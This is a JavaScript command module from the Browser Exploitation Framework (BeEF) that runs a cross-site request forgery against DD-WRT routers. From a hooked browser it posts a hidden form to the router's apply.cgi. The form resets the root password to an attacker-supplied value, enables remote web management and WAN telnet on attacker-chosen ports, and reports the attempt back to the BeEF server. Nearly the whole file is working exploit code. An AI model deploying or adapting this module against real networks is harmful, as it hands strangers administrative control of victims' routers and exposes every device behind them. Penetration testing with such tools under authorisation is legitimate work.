//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
    var host     = '<%= @host %>';
    var password = '<%= @password %>';
    var port     = '<%= @port %>';
    var telnet   = '<%= @telnet %>';
    var path     = 'apply.cgi';

    if (!host.match(/\/$/))
        host += '/';

    var ddwrt_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(
        host + path,
        'POST', 'application/x-www-form-urlencoded', [
        { 'type': 'hidden', 'name': 'submit_button', 'value': 'Management' },
        { 'type': 'hidden', 'name': 'action', 'value': 'ApplyTake' },
        { 'type': 'hidden', 'name': 'change_action', 'value': '' },
        { 'type': 'hidden', 'name': 'submit_type', 'value': '' },
        { 'type': 'hidden', 'name': 'commit', 'value': '1' },
        { 'type': 'hidden', 'name': 'PasswdModify', 'value': '0' },
        { 'type': 'hidden', 'name': 'remote_mgt_https', 'value': '' },
        { 'type': 'hidden', 'name': 'http_enable', 'value': '1' },
        { 'type': 'hidden', 'name': 'info_passwd', 'value': '0' },
        { 'type': 'hidden', 'name': 'https_enable', 'value': '' },
        { 'type': 'hidden', 'name': 'http_username', 'value': 'root' },
        { 'type': 'hidden', 'name': 'http_passwd', 'value': password },
        { 'type': 'hidden', 'name': 'http_passwdConfirm', 'value': password },
        { 'type': 'hidden', 'name': '_http_enable', 'value': '1' },
        { 'type': 'hidden', 'name': 'refresh_time', 'value': '3' },
        { 'type': 'hidden', 'name': 'status_auth', 'value': '1' },
        { 'type': 'hidden', 'name': 'maskmac', 'value': '1' },
        { 'type': 'hidden', 'name': 'remote_management', 'value': '1' },
        { 'type': 'hidden', 'name': 'http_wanport', 'value': port },
        { 'type': 'hidden', 'name': 'remote_mgt_telnet', 'value': '1' },
        { 'type': 'hidden', 'name': 'telnet_wanport', 'value': telnet },
        { 'type': 'hidden', 'name': 'boot_wait', 'value': 'on' },
        { 'type': 'hidden', 'name': 'cron_enable', 'value': '1' },
        { 'type': 'hidden', 'name': 'cron_jobs', 'value': '' },
        { 'type': 'hidden', 'name': 'loopback_enable', 'value': '1' },
        { 'type': 'hidden', 'name': 'nas_enable', 'value': '1' },
        { 'type': 'hidden', 'name': 'resetbutton_enable', 'value': '1' },
        { 'type': 'hidden', 'name': 'zebra_enable', 'value': '1' },
        { 'type': 'hidden', 'name': 'ip_conntrack_max', 'value': '512' },
        { 'type': 'hidden', 'name': 'ip_conntrack_tcp_timeouts', 'value': '3600' },
        { 'type': 'hidden', 'name': 'ip_conntrack_udp_timeouts', 'value': '120' },
        { 'type': 'hidden', 'name': 'overclocking', 'value': '200' }
    ]);

    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');

    setTimeout(function() { document.body.removeChild(ddwrt_iframe_<%= @command_id %>) }, 15 * 1000);
});
